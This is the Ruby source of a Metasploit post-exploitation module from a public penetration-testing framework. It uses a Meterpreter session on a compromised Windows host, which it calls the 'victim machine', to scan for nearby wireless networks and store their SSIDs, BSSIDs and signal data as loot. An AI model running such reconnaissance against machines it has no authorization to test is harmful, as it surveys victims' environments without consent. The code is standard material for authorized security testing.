modules/post/windows/wlan/wlan_bss_list.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Wireless BSS Info',
'Description' => %q{
This module gathers information about the wireless Basic Service Sets
available to the victim machine.
},
'License' => MSF_LICENSE,
'Author' => ['theLightCosine'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
stdapi_sys_process_attach
stdapi_sys_process_getpid
]
}
}
)
)
end
def run
# Opens memory access into the host process
mypid = client.sys.process.getpid
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
@wlanapi = client.railgun.wlanapi
wlan_connections = "Wireless LAN Active Connections: \n"
wlan_handle = open_handle
unless wlan_handle
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
print_error('On Windows XP this could also mean the Wireless Zero Configuration Service is turned off')
return
end
wlan_iflist = enum_interfaces(wlan_handle)
networks = []
wlan_iflist.each do |interface|
# Scan with the interface, then wait 10 seconds to give it time to finish
# If we don't wait we can get unpredicatble results. May be a race condition
scan_results = @wlanapi.WlanScan(wlan_handle, interface['guid'], nil, nil, nil)
sleep(10)
# Grab the list of available Basic Service Sets
bss_list = wlan_get_networks(wlan_handle, interface['guid'])
networks << bss_list
end
# flatten and uniq the array to try and keep a unique lsit of networks
networks.flatten!
networks.uniq!
network_list = "Available Wireless Networks\n\n"
networks.each do |network|
netout = "SSID: #{network['ssid']} \n\tBSSID: #{network['bssid']} \n\tType: #{network['type']}\n\t"
netout << "PHY: #{network['physical']} \n\tRSSI: #{network['rssi']} \n\tSignal: #{network['signal']}\n"
print_good(netout)
network_list << netout
end
# strip out any nullbytes for safe loot storage
network_list.gsub!(/\x00/, '')
store_loot('host.windows.wlan.networks', 'text/plain', session, network_list, 'wlan_networks.txt', 'Available Wireless LAN Networks')
# close the Wlan API Handle
closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)
if closehandle['return'] == 0
print_status('WlanAPI Handle Closed Successfully')
else
print_error('There was an error closing the Handle')
end
end
def open_handle
begin
wlhandle = @wlanapi.WlanOpenHandle(2, nil, 4, 4)
rescue StandardError
return nil
end
return wlhandle['phClientHandle']
end
def wlan_get_networks(wlan_handle, guid)
networks = []
bss_list = @wlanapi.WlanGetNetworkBssList(wlan_handle, guid, nil, 3, true, nil, 4)
pointer = bss_list['ppWlanBssList']
totalsize = @host_process.memory.read(pointer, 4)
totalsize = totalsize.unpack('V')[0]
pointer = (pointer + 4)
numitems = @host_process.memory.read(pointer, 4)
numitems = numitems.unpack('V')[0]
print_status("Number of Networks: #{numitems}")
# Iterate through each BSS
(1..numitems).each do |_i|
bss = {}
# If the length of the SSID is 0 then something is wrong. Skip this one
pointer = (pointer + 4)
len_ssid = @host_process.memory.read(pointer, 4)
unless len_ssid.unpack('V')[0]
next
end
# Grabs the ESSID
pointer = (pointer + 4)
ssid = @host_process.memory.read(pointer, 32)
bss['ssid'] = ssid.gsub(/\x00/, '')
# Grab the BSSID/MAC Address of the AP
pointer = (pointer + 36)
bssid = @host_process.memory.read(pointer, 6)
bssid = bssid.unpack('H*')[0]
bssid.insert(2, ':')
bssid.insert(5, ':')
bssid.insert(8, ':')
bssid.insert(11, ':')
bssid.insert(14, ':')
bss['bssid'] = bssid
# Get the BSS Type
pointer = (pointer + 8)
bsstype = @host_process.memory.read(pointer, 4)
bsstype = bsstype.unpack('V')[0]
case bsstype
when 1
bss['type'] = 'Infrastructure'
when 2
bss['type'] = 'Independent'
when 3
bss['type'] = 'Any'
else
bss['type'] = 'Unknown BSS Type'
end
# Get the Physical Association Type
pointer = (pointer + 4)
phy_type = @host_process.memory.read(pointer, 4)
phy_type = phy_type.unpack('V')[0]
case phy_type
when 1
bss['physical'] = 'Frequency-hopping spread-spectrum (FHSS)'
when 2
bss['physical'] = 'Direct sequence spread spectrum (DSSS)'
when 3
bss['physical'] = 'Infrared (IR) baseband'
when 4
bss['physical'] = 'Orthogonal frequency division multiplexing (OFDM)'
when 5
bss['physical'] = 'High-rate DSSS (HRDSSS)'
when 6
bss['physical'] = 'Extended rate PHY type'
when 7
bss['physical'] = '802.11n PHY type'
else
bss['physical'] = 'Unknown Association Type'
end
# Get the Received Signal Strength Indicator
pointer = (pointer + 4)
rssi = @host_process.memory.read(pointer, 4)
rssi = getle_signed_int(rssi)
bss['rssi'] = rssi
# Get the signal strength
pointer = (pointer + 4)
signal = @host_process.memory.read(pointer, 4)
bss['signal'] = signal.unpack('V')[0]
# skip all the rest of the data points as they aren't particularly useful
pointer = (pointer + 296)
networks << bss
end
return networks
end
def enum_interfaces(wlan_handle)
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle, nil, 4)
pointer = iflist['ppInterfaceList']
numifs = @host_process.memory.read(pointer, 4)
numifs = numifs.unpack('V')[0]
interfaces = []
# Set the pointer ahead to the first element in the array
pointer = (pointer + 8)
(1..numifs).each do |_i|
interface = {}
# Read the GUID (16 bytes)
interface['guid'] = @host_process.memory.read(pointer, 16)
pointer = (pointer + 16)
# Read the description(up to 512 bytes)
interface['description'] = @host_process.memory.read(pointer, 512)
pointer = (pointer + 512)
# Read the state of the interface (4 bytes)
state = @host_process.memory.read(pointer, 4)
pointer = (pointer + 4)
# Turn the state into human readable form
state = state.unpack('V')[0]
case state
when 0
interface['state'] = 'The interface is not ready to operate.'
when 1
interface['state'] = 'The interface is connected to a network.'
when 2
interface['state'] = 'The interface is the first node in an ad hoc network. No peer has connected.'
when 3
interface['state'] = 'The interface is disconnecting from the current network.'
when 4
interface['state'] = 'The interface is not connected to any network.'
when 5
interface['state'] = 'The interface is attempting to associate with a network.'
when 6
interface['state'] = 'Auto configuration is discovering the settings for the network.'
when 7
interface['state'] = 'The interface is in the process of authenticating.'
else
interface['state'] = 'Unknown State'
end
interfaces << interface
end
return interfaces
end
def getle_signed_int(str)
arr = str.unpack('V*')
bits = 0
num = 0
arr.each do |int|
num += int << bits
bits += 32
end
num >= 2**(bits - 1) ? num - 2**bits : num
end
# Convert the GUID to human readable form
def guid_to_string(guid)
aguid = guid.unpack('H*')[0]
sguid = '{' + aguid[6, 2] + aguid[4, 2] + aguid[2, 2] + aguid[0, 2]
sguid << '-' + aguid[10, 2] + aguid[8, 2] + '-' + aguid[14, 2] + aguid[12, 2] + '-' + aguid[16, 4]
sguid << '-' + aguid[20, 12] + '}'
return sguid
end
end